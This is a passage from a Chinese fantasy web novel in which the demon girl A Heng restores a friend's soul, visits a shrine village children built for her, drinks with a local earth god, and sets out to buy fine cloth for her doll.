“阿姮姑娘?” 柳行云站起来。 天边云霞漫漫,阿姮缓缓走到檐下:“我早告诉过你不要给我送吃的,我没心情吃那些,你这个人怎么就是不听呢?” “你是霖娘的朋友,你是血肉之躯,必然会渴,会饿,我应该替她看顾好你。” 柳行云说道。 “那她有没有告诉过你,”阿姮走上石阶,左右一望,屋舍破旧,却被这人收拾得干干净净,“我不吃山菇。” “这……”柳行云一怔,随后低眉说道,“抱歉,我并不知道这些,阿姮姑娘为何不喜欢山菇?这个季节,山间的菇类最为鲜美。” “那要是个老头变的,你看它还鲜不鲜美。” “……啊?” 柳行云面露迷茫,没明白她到底在说些什么。 “行了,我知道你是在替她照顾我,但你以后都不必再这样做了。” 阿姮说着,抬手施法,淡淡的红雾中,一团金色的流光闪烁着,柳行云看着那金光,竟然从中隐约看出一副女子模糊的影子,他双目大睁,猛然盯住阿姮:“这是,这是……” “她那日消散于此,因为她身负功德,早有造化,又是土地血脉,所以她的魂魄会化成清气,滋养万物,但幸好我可以辨炁。” 阿姮说道。 柳行云再度看向那金光中的影子,容颜模糊,浑身裂痕,他颤声道:“你在此间两年……都是为了拼凑她的魂魄,对吗?” 当日大战中,数名神仙陨灭于此,他们的精纯清气与他们作为神的意志一样决绝地笼盖四方,一夜之间令千疮百孔的赤戎重现生机。 霖娘的清气与神仙的精纯清气不同,清气比精纯清气流速慢,虽不会像精纯清气那样一夜之间焕发万物,却也会在一定时间内滋养此处的山水,从此融于无形,阿姮自她消散后便在每一缕风,每一株花草,每一棵树木,甚至每一片山水中寻找霖娘的清气,阿姮没日没夜地辨炁,从汪洋大海般的炁里发现她,拼凑她,至今,整整两年。 在霖娘彻底消散之前,阿姮终于拼好了她。 “我用神萦花珠将她的魂魄粘了起来,”阿姮看向金光中的影子,“但她魂魄的这些裂痕只有炽盛的阳火,圆满的月光,人间循环往复的烟火可以修补。” 阿姮将那团金光递给他:“柳行云,我要走了,你也离开这里吧,我想,她一定希望在你身边,你带着她走,等她魂魄中所有的裂痕消失,你便亲自送她轮回。” “……轮回?” 柳行云抬眸,泪意浸满眼睑。 “只有轮回转世得到血肉之躯才可以真正补足她的神魂。” 阿姮说道。 柳行云小心翼翼地捧着那团金光,他最心爱的人沉睡在里面,他看了又看,泪意更涌:“阿姮姑娘,谢谢,真的谢谢……” 阿姮转过身走入那片渐渐昏黄的光影。 赤戎浑浊的江河上一条长长的界桥横亘其间,看守界桥的神仙们在江上浓烈的烟波中静默注视着那红衣少女穿过界桥,身影融入界桥边缘的明亮光线里。 众神无言,却不约而同松了口气。 赤戎黑水黑山,天色总是青灰冷冽的,四季不够分明,草木不够丰茂,山间的瘴气总是那么浑浊,而外面却全然不同。 阿姮踏出结界,正遇上一个秋天,如今还不是那么的冷,放眼望去,江上烟波清澈,两岸层林尽染,枫叶艳如云霞,铺毡满地。 她路过东海,见岸边渔船如织,船头船尾相连蜿蜒,金漆彩饰,形如游龙,渔村的人们在岸边点起粗壮的香,香火袅袅,锣鼓齐响,乐声高亢。 “天地有灵,四海有道,万望龙君创鳞复生,如朔雪逢阳,草木逢春,千秋万载,永兴东海!” 白头老翁放声祝祷,众人虔心伏拜。 阿姮静悄悄与这番无边的热闹擦身而过,她行过长长的山路,越溪渡河,人间秋意越发的浓,她经过一间山间私塾,孩童稚嫩的声音混合沙沙的秋雨:“人之初,性本善,性相近,□□……” 阿姮啃着果子顺着石径往前走,渐渐只剩雨声为伴,路过几个镇子,她精心挑选了一堆布料,一堆棉花,前后不知浪费多少,才终于做出来一个像样的布娃娃。 用剔透的宝石点缀布娃娃的眼睛,用极细的丝绵当作娃娃银色的发丝,阿姮端详着朱衣宝饰的布娃娃,看起来果真与从前傀儡术化成的小神仙别无二致。 不过。 阿姮盯着布娃娃空空的颈项,想起自己原先摘来东海那片神萦花丛中所有的神萦花珠,本是想着为小神仙穿一条漂亮的珠串。 但最终,那些神萦花珠都被她用来弥合霖娘的魂魄。 阿姮再次上路,她决心要去最繁华的地方挑选最好的珠子给她的布娃娃穿一条最漂亮的珠串,但她这一路行来本是漫无目的,也不知道哪里才是真正的繁华之地,阴差阳错之下,竟来到一片熟悉的地界。 霜零木脱,秋老风寒,阿姮蹑露而行,履袜尽湿,她停在一片山丘上,遥遥望见远处弥漫炊烟的山村,她记起来,这里是松南岭。 不过短短两年,没有了天衣圣女的火种之力,四方群妖被上界诸神,天下玄门压得节节败退,如今的松南岭,再也没有密布的阴云,下不完的暴雨,接二连三的妖祸。 阿姮望着那山村中上扬的炊烟,忽然想起那三个小孩儿。 秋风簌簌,忽然,阿姮怀中有什么震动一下。 风拂过阿姮的耳畔,顷刻间竟然化成人声:“这些妖怪真是太可恶了,有土地爷爷在,他们竟然还敢跑来捣乱!” 那是一道稚嫩的女声。 “就是!我给娘娘供奉的馒头也被他们偷了!” 另一个稚嫩的男声愤愤不平。 阿姮禁不住细听这些声音的刹那,她意识竟然为之牵动,身形化成红雾随声而去,不过瞬息,她回过神来,定睛一看,只见雕梁彩饰,黄幡拂云,正下方一张供桌,桌上满盘瓜果,明烛长燃。 供桌前,三个孩子将馒头、饼子、烧鹅一一摆上,其中唯一的女孩儿口中念道:“娘娘,请您不要生气,也不要难过,这些都是我们专门给您做的,您如果有空的话,就来吃些吧……” 阿姮看向自己淡薄的身影,竟然与一尊金身塑像重合,而底下的三个孩子根本毫无察觉,她从怀中摸出一样东西,手掌摊开,一粒碎银静躺其中。 她明白过来,似乎正是这粒压岁钱指引她来的。 她垂眸看向下方,两年的时间过去,三个崽子如今已经比供桌高了,但还是该胖的胖,该瘦的瘦,该纤巧的纤巧。 “小秀,依我看,咱们今天在这儿待到黄昏,要是娘娘没吃,我们便拿回去吧!” 那个胖乎乎的男孩说道。 陈小秀眉毛一拧:“陈小虎!给娘娘的东西哪有拿回去的道理?你能不能不要那么馋!” “不是……” 陈小虎气不打一处来,“腾”的一下站起来:“谁馋了!我是怕那些妖怪再来砸庙!他们什么都砸了,还把咱们给娘娘的供奉都偷走吃掉,那多不划算!” 陈小秀一愣:“是哦……” 身形干瘦的陈小山瞅着供桌上的东西,砸砸嘴:“饼子和馒头还能放,烧鹅不好放呀,要不然,要不然我们等到黄昏,娘娘不吃的话,我们吃了吧?” 陈小秀有点犹豫:“可是娘娘……” “怕什么?”陈小虎说道,“娘娘才不会怪我们呢!” 庙中忽有风起,却并非像是从庙门外吹来,三个小孩没由来的浑身一抖,眼看冷风吹动长幔,陈小虎忽然听见一道女声幽幽响起:“谁想吃烧鹅?” 陈小虎浑身又是一颤,他转过脑袋,只见金身塑像周身竟然飘荡着缕缕的红雾,他吓得一双眼睛瞪大,眼看那红雾凝成一道淡薄的身影,那少女发髻乌黑,红衣鲜艳,怀中抱着个精致漂亮的布娃娃,腰间缠着一根犹如银蛇般的法绳,珠饰清莹,她那双暗红的眼睛微微弯起:“谁想吃我的烧鹅,我便先吃了谁。” “……娘娘?”陈小虎嘴巴直哆嗦,眼睛却迸发晶亮的神采。 “真是……”陈小秀也吓了一跳,但真的看清那少女模样,她眼中的惊惧逐渐化成兴奋,“娘娘!真的是您!” “娘娘!” 陈小山蹦起来。 阿姮轻飘飘地落到地上,她仰起脸,审视起那尊金身塑像,衣饰栩栩,五官却是模糊的,她看向三个朝她围过来的小孩:“你们说,这是我的庙?” “是啊娘娘!” 陈小秀连忙说道:“您离开之后,饮香驿的陆老爷便花钱给您修了这座庙,还把午山上的九仪娘娘庙也重新修葺了一番,为九仪娘娘重塑了金身!” 三个小孩拉住阿姮的衣角:“娘娘,您快来看!” 这庙宇不大,阿姮被他们拉着没几步便跨出了庙门,陈小山说道:“当初陆老爷要为您修庙,又不够了解您的喜好,他问了很多人,可是没几个人见过您,只有我们,我们跟陆老爷说您最喜欢吃好吃的,陆老爷左选右选,选中了这片果林,这里的果子最甜最好吃,保管娘娘一来,就能吃到最好的果子!” 阿姮放眼望去,真是大片果林,如今正是丰收之际,林间果实累累,风中尽是果香,此时,她又听见陈小虎接着说道:“可是庙修好了,却发生了一些怪事。” “怪事?” 阿姮挑眉,看向他,来了点兴趣。 “陆老爷亲眼见过您的模样,请了很多工匠想要为您造一尊最像您的金身塑像,可是无论他们怎么努力都造不出您的五官,没有办法,陆老爷只能为您塑一尊没有五官的金身塑像。” “还有这牌匾!” 陈小虎说着,指向那庙门上方,阿姮顺他指尖望去,只见那上面有一方匾额,匾额上竟无一字,陈小虎在旁边叽叽喳喳地说道:“陆老爷找了好多人来刻‘十仪娘娘庙’,可是不知道为什么就是刻不上去!” 阿姮一听到“十仪娘娘庙”,顿时扑哧一笑。 三个小孩一下看向她。 清晨的阳光下,少女笑声清脆犹如银铃,她暗红的眼眸仿佛浸透散碎的阳光,陈小虎挠了挠脑袋,茫然道:“娘娘,您笑什么呀?” “小崽子。” 阿姮伸手捏住他胖乎乎的脸蛋:“早跟你们说过了,我根本不是什么神仙,那姓陆的修一座神仙庙给我,我也无法受用,这天地之间的秩序是不容许你们这样乱来的。” “为什么呢?” 陈小虎被捏住脸蛋,动也不敢动,他小小的脑瓜想不明白很多事:“您做了好事,为什么陆老爷不能为您修庙,为什么我们不能供奉您?” “因为我是妖,”阿姮俯身凑近,恶声恶气,“专吃爱问为什么的人类小崽子的妖。” 这回,三个小孩却谁也没有害怕。 他们摘来新鲜的果子,又将供桌上的馒头饼子烧鹅一股脑拿到阿姮面前,阿姮干脆和他们一块儿靠着供桌坐在地上,她将自己从赤戎神山石窟里带出来的果子分给他们吃,原本三个小孩还在肯他们刚摘来的果子,接来阿姮的果子才咬一口,眼睛顿时亮了:“娘娘!这是天上的果子吗!我从来没有吃过这么好吃的果子!” “是啊,天上刚摘的。” 阿姮一边吃烧鹅,一边敷衍。 三个小孩顿时眼睛亮晶晶地捧起“仙果”,咬一口,看一眼。 阿姮简直想笑,她捏着烧鹅腿,忽然问他们道:“你们说有妖怪来这里捣乱?是怎么一回事?” 陈小山连忙说道:“我听人说,现在妖怪堆里都在传您是……是个怪物,说您会让他们道行尽毁,化为原形,说您会让天上再也没有神仙,说您……说您会毁掉整个人间!” 阿姮闻言,倒也毫不意外。 当初天衣人的结界破开裂口,有些妖魔趁机逃出了赤戎,想必这些传言都是他们那里来的。 “就因为这些传言,我娘都不许我来您的庙了……” 陈小秀露出愤愤的神情,她望向阿姮:“娘娘,您才不会毁掉人间,对不对?” 这本是个小庙,除了那个一心要信守承诺,钱又多到花不完的陆老爷之外,这间小庙的信徒也唯有这三个孩子了,整个松南岭的人要拜也是拜那些有名有号的正经神仙,如今阿姮又有个“灭世魔头”的凶名在外,寻常百姓躲还来不及,又哪里敢踏足此地。 阿姮漫不经心地啃了口鹅腿,悠悠道:“我可没有那样的本事。” 抬头对上三个小孩圆溜溜的眼睛,阿姮干脆坐直身体,说道:“我没那么了不起,天道高悬,宇宙洪荒,这天上天下,人是渺小的,妖是渺小的,连神仙也是渺小的,没有谁可以仅凭自己的所谓力量而真的摧毁这一切。” “那到底什么是真的?” 陈小山似懂非懂,好奇追问。 阿姮想了想,说:“我可以剥夺神仙的精纯清气,玄门的清气,天下间所有妖怪无论以清还是浊作为修行的根基,都可以被我打回原形,再无开启灵智之机,我可以让这世间重新充满浑浊的风雾,让九仪重开天地后因清浊两气的分化而诞生的一切生灵枯萎,灭绝,但即便那样,你们这些凡人也不会死,从前在混沌之间生存下来的花草树木,鸟兽飞禽也不会死,你们一样的活,一样掌握自己的命运。” 她才没有什么灭世的本事。 那些嘴碎的破妖怪,简直是在造谣。 “可是那些后来诞生的生灵,还有那些好妖怪,他们没有做错什么,却要枯萎,灭绝,打回原形的话……好像也很可怜……”陈小秀说着,又忽然一顿,她小心翼翼地望向阿姮,“而且,浑浊的天地哪有现在这样干干净净的天地好看呢?” “娘娘才不会那么做呢!” 陈小虎说道。 “就是!娘娘救苦救难,才不会那么做呢!”陈小山也跟着说道。 “谁要救苦救难了?” 阿姮正专心致志吃烧鹅,抽空抬起眼:“我可不爱管闲事,不过你们倒也不必担心别的,我灭不了世,也没兴趣灭别的。” “娘娘您真的好厉害啊……” 陈小虎捧着脸,眼睛晶亮地望着阿姮,神情却忽然又莫名变得有点忧愁,阿姮歪着头看他,莫名其妙:“你怎么了?” 陈小虎耷拉下脑袋,好一会儿,说:“娘娘,今年我爹的腰很不好,所以我每天都要去他的铺子帮忙,还要去私塾读书,可是我真的读不好书,老先生讲什么我都记不住,我想,我将来肯定还是会像我爹一样当个铁匠。” “当铁匠怎么了?” 阿姮不明所以。 陈小虎拧紧自己的衣角,稚嫩的脸上满是落寞:“我不会读书,考不上科举,我想离开陈家村,离开松南岭,想去当大侠……可是我又舍不得爹娘,怕他们在家生病,我……实在是太平凡了。” 阿姮一怔。 阔别两年,她此刻认真端详着陈小虎、陈小山、陈小秀这三个人类小崽子,他们都长大了一些,各自成长的烦恼也开始挂在他们稚嫩的脸上。 “平凡不好吗?” 阿姮反问。 “娘娘,我想做英雄,想做大侠,可是我好像只能做个铁匠,”陈小虎越说,便越发垂头丧气,“像我这样平凡的小孩,长大了也是个平凡的大人,也许我一辈子都走不出陈家村,也走不出松南岭。” “你为什么想做英雄?做大侠?” 阿姮问他。 “威风啊!可以帮很多人!像娘娘一样,会被很多人记住!”陈小虎说道。 “你们人类都这样吗?人还没长大,想得倒是多。” 阿姮拍了他脑袋一巴掌。 陈小虎摸着脑袋皱起脸,有点委委屈屈的。 “什么英雄,什么大侠,我承认这个世上总有一些人亮如星辰,因为所谓德行,功绩受人敬仰,被人铭记,”阿姮盯着陈小虎,继续说道,“但铭记那些不平凡的,不正是你们这些平凡的人吗?我不明白你为什么会觉得平凡不好,你会不会读书,考不考得上科举,这些都没关系,你心疼你父亲的腰病,去他的铺子帮忙,因为他们而放弃出走,你明明是个很好的人类小崽子。” 陈小虎的眼眶一下湿了:“真的吗?” 日光从庙门外照进来,铺了大片明亮的光影,长幔在柱边拂动,阿姮对面前的三个小孩认真说道:“你们谁也不要害怕平凡,也许你们身上没有很大的使命,不能成为什么大英雄,但是你们好好长大,靠自己吃饱,穿暖,养家,无论是做铁匠,还是别的什么都很了不起,你们勇敢地承担起自己的每一份责任,所以你们的人生一定有意义,有价值。” 阿姮没有在这间小庙里待太久,吃完烧鹅她就想打发这三个小崽子回家,他们总要依依不舍地追问她什么时候再来看他们,她觉得烦,干脆施了法术直接将他们变回家去了。 她一路下山,也不辨什么方向,钻入一片山林中,秋阳穿过林间在她脚下投下寸寸碎光,此时山间所有的露水早已被烤干,雾气也十分淡薄。 “阿姮姑娘!请留步!” 忽然,林中有人高声喊道。 阿姮脚下一顿,双眼顿时敏锐地寻着声音传来的方向望去,只见不远处那片浓昏的树木之间漂浮着一层淡白的烟雾,一个白头老翁从那雾中来,他身量不高,拄着拐,怀里抱着个油纸包,正满脸笑容地朝她招手:“阿姮姑娘!” 阿姮顷刻察觉到他身上的精纯清气,眉毛不由一动:“老头,你是哪路神仙?” 那老翁却往一边退开了些,那些烟气散去,露出他身后那个小小石龛,石龛中雕刻的神像慈眉善目,栩栩如生。 “姑娘,小神正是这松南岭的土地啊!” 老翁连忙继续说道:“姑娘可是忘了?当初松南岭妖祸横生,为保此处安宁,小神只得损耗一身的精纯清气,可精纯清气总有耗光的时候,我这把老骨头差点没交待了,正是姑娘你赠予珠玉,才使我不至于神殒啊!” 其实乍见那林间石龛,阿姮便有一些记忆猝不及防地回笼。 土地的这番话,更是将她有一瞬间拉回到曾经她路过此处的那个时候。 那时,她还不是孤身一人。 阿姮将布娃娃抱得更紧,回过神来:“我不过只是用了些不要的东西换你几个供果吃而已,老头,那点精纯清气也能保你的命?” “姑娘此言差矣!”土地正色道,“你那些珠玉可都不是凡品,那一点精纯清气,就足够保我一线生机了!” 他说着,丢开拐杖,将怀里那宝贝似的油纸包小心翼翼地放到地上,又朝阿姮招招手:“我今日算到你往这边来,天不亮我就去找了这些好东西来招待你!快来快来!” 好东西? 阿姮看着那个油纸包,倒也真的生出几分好奇。 土地一屁股坐到地上,见阿姮还站在那儿没动,他伸手在旁边地上拍了拍:“你快来啊!冷了就不好吃了!” “……” 阿姮盯着他片刻,到底还是过去坐下了。 细绒般的草地,坐着倒也跟软垫差不太多,阿姮看着土地转身将石龛前的供果抓过来摆整齐,随后一挥衣袖,地上赫然出现一只酒壶,两只酒杯。 土地终于满意,搓了搓手,忙打开油纸包。 油纸包很快被层层剥开,阿姮定睛一看,里面正是一只……烧鹅。 ……还以为什么呢。 土地满脸笑容:“阿姮姑娘,我们这儿有个陈家村,村里有户人家,他们家做烧鹅的手艺啊……那叫一个绝,有一回过年他们家送供奉,我一吃就记着这滋味儿了。” “阿姮姑娘,你先。” 阿姮对上土地热情洋溢,并且十分彬彬有礼的目光,她扯了一下嘴角:“……还是你先吧?” “姑娘可别客气,这是我知道你要来,专门去给你买的!” 说着,土地揪下来一只鹅腿,咬一大口,满嘴流油。 阿姮欣赏着他的吃相:“喂,你好歹是个神仙,你想吃什么还要买吗?” “这话说的。” 土地嘴里都是肉,声音都模糊了:“又不是逢年过节,也不是凡人给的供奉,我平日里想吃,自然要买才行。” “你做神仙的难道没俸禄吗?” 阿姮看他浑身上下简直写满一个“穷”字。 “有啊,怎么没有!那天帝陛下最心疼我们这些地仙了,”土地很快啃光一只鹅腿,又抓起一只鹅翅,“只不过神仙的俸禄可不是什么银钱,而是精纯清气,精纯清气有利于神仙的修行,增长法力,对神仙来说,这可是最金贵的东西!” 土地啃完鹅翅,见阿姮什么也没吃,他一时间有些不好意思,连忙用他那油乎乎的手给阿姮斟了一杯酒:“你要是不喜欢烧鹅的话,不如尝尝这个,这可是我亲自酿的百果酒!” 阿姮拧起眉头,有点介意他那油乎乎的手。 但抬眸对上土地满脸的笑容,她什么也没说,端起酒杯,试探着抿了一口,香甜的滋味有别于她从前喝过的酒,她眼睛亮了一瞬,看向土地:“这真是你酿的?” “这是自然。” 土地抬起下巴,颇为自豪:“我有时还会变化成一个寻常老头拉些酒去集市上卖。” “……你还去卖酒?” 阿姮惊讶极了。 土地又给她斟满一杯酒,笑眯眯道:“不去卖酒,哪里有钱?若没有钱,又怎么能买得起烧鹅来招待你呢?” 说着,他又叹了口气:“只不过我的酒没别人酿得好,所以价贱如泥,得存好久的钱才能买上这一只烧鹅呢。” 阿姮闻言,一时更难理解了:“神仙不该无所不能吗?怎么你酿的酒还不如凡人?” “这有什么稀奇的?” 土地又与阿姮碰了碰酒杯,满饮下肚,这才接着说道:“凡人生来各有长短,凡人变成的神仙自然也是各有所长,没有谁真的无所不能,就连天帝陛下也不能……凡间的东西都是凡人的智慧,而我吃喝不为果腹,不过口腹欲而已,自然不如凡人用心,酿的酒也不如凡人好。” 阿姮又抿了口酒。 她其实没觉得这酒有哪里不好。 “阿姮姑娘,”土地又斟满两杯,与她一碰,说,“你还是见得太少了,你根本不知道这个世界到底有多大,你还没有真正见过那千万里自然造化而成的山河,你也不曾完全体会不同的地方那些不同的风貌,南边有南边的秀丽,北边有北边的粗犷,不同的地域,人也是不同的,他们的食物不同,房舍不同,风俗不同,所谓众生,千姿百态,你不知道他们依靠智慧与双手到底为这个世界带来了多少好东西,如果你有朝一日真的看见,你便会知道我今日请你喝的这顿酒到底有多么平庸。” 土地风卷残云,就着酒吃光了一整只烧鹅。 百果酒虽甘甜,却也有些烈性,土地醉醺醺地抹了抹嘴:“真是怪不好意思的……这烧鹅本是我买来给姑娘你吃的……” 壶里的酒怎么也倒不完似的,阿姮又闷了满满一杯,一手撑着下巴,慢吞吞道:“我早吃过了,还比你这只大。” “咦?你早知道这家烧鹅?” 土地打了个酒嗝。 阿姮抓着空空的杯子让他倒酒。 土地拿着酒壶,半天没对准杯子,酒水稀里哗啦洒了一地,他浑然不觉:“我之前找上面的同僚打听过你,他们说你心灰意冷,自囚赤戎,我还以为没机会再见你一面了,阿姮姑娘,你如今出来,是放下了吗?” “……放下?” 阿姮被酒意熏染得思绪迟钝,好一会儿,她才反应过来,歪过脑袋看向他:“老头,你怎么不去问问天帝,问他放下了没有?” 土地与她大眼瞪小眼。 “我是地仙,每两百年回上界述职才能面见天帝陛下。” “你还有多久回去述职?” “还有……”土地挠了挠白花花的头发,“好像还有个一百八十来年吧。” “哦。” 阿姮将酒杯凑到嘴边却没喝到一滴酒,她干脆丢了杯子,拿来土地手里的酒壶:“你这玩意还真挺好喝的。” 她说着就往嘴里灌。 “诶,可别这么喝!” 土地要拦,他头晕眼花的,半天也没抓准酒壶:“算了!” “算了?” 阿姮茫然地抬起眼帘。 秋阳越发炽盛,林中风吹叶动,沙沙之声不绝于耳,一老一少各自歪着身子往身后的石龛上一靠,土地口齿不那么清晰地说:“放不下……就算了,放在心里,何尝不是一种相伴。” “不一样,根本不一样,老头。” 阿姮的视线忽然就变得好模糊,她迟钝到根本没意识到那是眼泪:“他永远消失了,再也不会与我相伴。” 泪意充盈眼眶,她忽然话多起来。 “我骗了积玉。” “昂?积玉是谁?” “我的朋友啊,”阿姮气冲冲,“老头你不要打岔!” 她转过脑袋,秋风冷冷拂过她的脸,她继续说道:“我最开始钻到神山石窟里,其实是因为我不知道自己应该怎么办,我只要一想到这个世界上再也不会有小神仙,再也不会有霖娘,我就觉得所有的一切是那么的难以面对,我躲在那里面哭了很久,我想我永远也不要出去了……” “后来有一日我醒过来,发现石窟里竟然开了一株红山茶,而我竟然从那山茶枝叶间感受到了霖娘的气息,那时我才意识到,只要我翻遍赤戎所有的炁,只要我找到霖娘的所有清气,也许,霖娘还有救,我以为我也可以这样找到小神仙的气息,可他是白泽,精纯清气才是他的根基,而神仙的精纯清气总是那么容易融化成万物的养分,我根本找不到他。” 阿姮吸吸鼻子,说:“老头,永远消失,真是世上最可怕的事。” “阿姮姑娘,白泽殿下的精纯清气滋养赤戎万物,因而万物之中皆有他的痕迹,清风细雨,也算他的声息啊。”土地安抚道。 “那有什么用!他再也没有神魂,再也不会有意识,再也不会和我说话!”阿姮一下丢开酒壶,酒液汩汩流淌在草地之间,“老头,为什么你们神仙对自己总是这样决绝?” “没这样的决心,哪能成神呢?” 土地叹气,又打了个酒嗝:“不过赤戎那样的地方,山山水水的都被天衣人的怨恨浸透了,我听同僚说,那地方根本长不出一分鲜活的颜色,又怎么会长出来一株红山茶呢?” “我怎么知道?” 阿姮大剌剌地靠着石龛,醉眼朦胧:“不止一株红山茶,后来还长了很多漂亮的花木,还结很多果子呢。” “啥果子?好吃吗?” “好吃啊。” 阿姮记得自己每天一睁眼,满窟芳草,鲜花如锦,蓊郁的花木总是有摘不完的果子,花香果香,无比馥郁。 “喂,老头,你知不知道全天下最繁华的地方在哪儿?” 阿姮忽然问。 “我松南岭土地什么不知道?南来北往不知多少热闹都在我的耳边,”土地将下巴一抬,“要说举世繁华嘛,那必然是东炎国的国都了。” “那里必然会有世上最华美的珠玉了?” “的确如此,”土地点点头,又问她,“你找那些做什么?如今你身有封印,精纯清气对你应该没有什么用吧?” 阿姮双手捧起怀里的布娃娃,阳光下,布娃娃身上的珠饰泛着莹润的光泽,她说:“我要给我的布娃娃做一串世上最漂亮的珠串啊。” “老头,你这石龛太寒酸了,我在陈家村后面山上的果林里有间小庙,我用不着,不如给你算了,”阿姮转过脸对他说道,“你去给那陆老头托个梦,说我把那庙让给你了,那庙再怎么样也比你这个大啊。” “……我有庙!我有一间很大的土地庙!” 土地急于挽回颜面,比划起来:“我是知道你路过这儿,才从这个石龛里现身的!我平时住得很大的!” “哦……” 阿姮还以为他穷酸到只有路边这么一个小石龛呢,她将怀里的包袱扔给他:“里面还剩颗果子,给你了,还有,东炎国在哪边啊?” “那边。” 土地指了个方向。 阿姮顺着他所指的方向望了一眼,然后摇摇晃晃的站起身,土地看着她往前走去,此时不知从哪里来了阵风,竟然不似秋风应有的凛冽,淡淡的莹光轻轻拂过,细碎的草叶,污浊的尘土不复,她的裙角竟然洁净如新。 土地揉了揉松弛的眼皮,再望向那红衣少女的背影,哪有什么奇怪的莹光。 他眼花了? 他心中惊疑不定,眼见少女的背影很快消失在苍翠山间,他将怀里的包袱打开来,发现里面仅有一颗红彤彤的果子。 土地瞪起眼睛,酒意顿时被冲散了。 上界有三百年一度的瑶池盛会,他曾在那盛会上吃过一种仙果,那是天河畔的神树所结,何其难得,这么多年,他也仅吃过两回。 “赤戎……赤戎怎会长得出仙果?!”—— 作者有话说:完结倒计时啦,大概还有两章左右的内容~ 第90章 第90章 “小神仙……是你吗?”…… 云山浑然一碧, 诸峰峭拔相顾若牡丹拢瓣,天光朗朗而照,朦胧的湿雾渐散,露出群峰之间的一座小城。 此城名为绿牡丹, 处在乌鹊国湿润多雨的最南端。 谷雨还未至, 城中海棠, 杜鹃灿烂如锦,香风阵阵,今日竟然无雨, 丽日当空, 集市上游人如织, 人声鼎沸。 各类摊子在道路两旁鳞次栉比, 五谷杂粮,鸡鸭鱼鹅, 时令蔬果, 日用器皿,无所不有, 挑担子的银匠边走边喊, 一有妇人回顾, 他便立即停下来, 摊开担子里一应首饰, 任凭客人挑选,若客人不满意,他也能立即画出新的样式来, 耐心依照客人喜好现打。 日光早将晨间湿润的雾气烤干,热食摊上的热烟却始终连绵不绝地笼罩整个集市,春风依旧料峭, 风中却总混合着食物热腾腾的香气。 银匠在道旁蹲了许久,终于打好一支银蜻蜓,他笑吟吟地将簪子递给主顾,那妇人却犹豫片刻,又说不要,转身走了。 银匠擦了把满头的热汗,手指拨弄一下蜻蜓翅,纤薄的银翅颤颤如舞,他纳闷地嘟囔了声:“这不是挺好看的么?” 忽然间,轻缓的步履临近,定在他的担子前。 银匠余光瞥见那双绣着金线水鸟纹的月白绣鞋,他的目光不禁顺着轻垂于鞋面的裙角往上,少女纤腰秀项,乌鬓云鬟,发上别无他饰,唯一根焦簪不知因何而缀如簇红山茶,娇艳欲滴,一身深红的纱衣似雾层叠,内里衣襟莹白如雪,银亮的法绳收束她的腰身,寸寸银鳞间垂落的珠饰在日光下泛出点点清光。 银匠根本无法忽视她怀中抱着的那个布娃娃,上好的银色丝绵真如发丝一般,由红绳挽起发髻,两颗剔透莹澈的宝石是它的眼睛,红色的锦缎裁作华美的锦衣,一串莹洁的宝珠点缀于它的襟前,漂亮得几乎令人移不开眼,银匠从前碰上好时候,也给富户人家的夫人小姐打过首饰,他自认也算是见过些世面的,可他却从未见过如此瑰丽的宝珠。 少女眼帘微垂,似乎在看他手中那支银蜻蜓:“是挺好看的。” 她娉娉而立,神情意致光艳殊绝,湿润的春风吹动她雾一般的朱红衣袖,银匠呆呆地看着她摘下腰间一只陈旧的,像是多少块破布胡乱拼凑而成的荷包,从中取出银粒,碎银子如雨般滴答在他的担子上,银匠一下回过神来,连忙将银蜻蜓双手奉上,结结巴巴道:“多,多谢姑娘!” 阿姮接过来随手簪入发髻,她转身经过一个汤面摊,在那摊子旁的水缸前稍停,水面映出她发间颤动的银蜻蜓,她一笑,眼波盈盈。 银匠遥遥望着那少女渐远的背影,他好不容易回过神,低头忙将担子上的钱捡起,这半天总算没白忙活,他转过脸去,见旁边摊子上是热腾腾的糖糕,他笑容满面地掏了几个钱来:“来两个糖糕,不……六个,六个吧!” 三个给女儿,三个给妻子。 集市深处,还有些卖文房书籍,胭脂水粉,香料布匹的,阿姮兴致颇浓的这里挑挑,那里看看,浑不在乎街上游人不分男女,皆向她频频侧目。 阿姮经过好几家布匹摊子,渐有些失望,这绿牡丹城什么都好,只可惜没有她喜欢的布料。 阿姮转身欲走,湿冷的春风吹来,一时间海棠、紫荆纷纷如雨,香气萦人,一张绣帕被风卷来,落在她的脚边。 阿姮俯身捡起帕子,顿时眼前一亮。 这帕子质地莹洁,光润无瑕,实在是难得一见的好布料。 此时,有人快步来到她面前,那片青色的裙角带起一阵风拂过地上残花,阿姮抬起脸,只见面前妇人约二三十岁,椎髻布衣,形容朴素,阿姮将手里的东西递给她:“这是你的帕子?” 妇人轻轻作揖,又笑着接过:“正是,多谢姑娘了。” 阿姮见她转身走向道旁的摊子,发现她竟也是个卖布的,阿姮走过去,目光扫过那摊子上的各色布匹:“怎么不见你这帕子用的布料?” “姑娘想买这种布料?” 妇人闻言,目光从阿姮明艳的脸庞落到她怀中的布娃娃,笑吟吟道:“呀,我这辈子还没见过这么漂亮的布娃娃,不知姑娘买布做什么用?若是做条帕子,我还有些剩余,可若是做旁的,只怕便是不够用的了……” 阿姮拧起眉头。 她才不要什么帕子。 “我要给我的布娃娃做新衣裳,你真的没有多余的布料了吗?” 妇人摇头:“此布名为霞光缎,乃是这绿牡丹城陈家布坊独门的手艺,我小本生意,哪有那么多的存货呢?” “陈家布坊在哪儿?” 阿姮问道。 “那布坊不在城内,在西边城郊,”妇人见阿姮循着她所指的方向望去,便又说道,“不过姑娘,即便你找到布坊去,也是买不到的。” “为什么?” 阿姮回头看向她。 “陈老爷今日娶妻,咱们这儿光流水席便要连开一月,只有等喜事过去,布坊才会再开张。” 妇人说道。 “是吗?” 阿姮转身,几片飞花匆匆与她衣摆相擦而过:“那我这便去吃杯喜酒好了。” 天色渐渐昏黄。 阿姮出了城,经过一片连绵的田野,融化的夕阳在天边染成弥漫的霞,在水田里投下波光粼粼的影,如今正是春耕时节,天色将晚而田间农人依旧躬身忙碌,他们要在暮色彻底降临之前种下全部的秧苗。 秧苗青青,在他们手下整齐如诗行。 夜幕降临,四方暝晦,阿姮遥遥一望,四周乃是一片平缓的山坳,此时山中冷雾幽幽,那高门大宅孤身矗立于偌大的山坳之间,四周茫茫,竟渺无他踪。 阿姮走近,站定在布坊大门前,她抬起脸,大门两边的红绢灯笼斜斜映照着匾额,那匾额却积灰甚重,此沓樰團隊时分明寒风凛冽,竟吹不落那匾上一分灰尘。 阿姮心中顿生疑窦。 她立即走上石阶,却见那大门缝隙中涌出缕缕白烟,无比阴冷的风迎面而来,一只灯笼被这风卷过,灼破红绢,落来她的脚边。 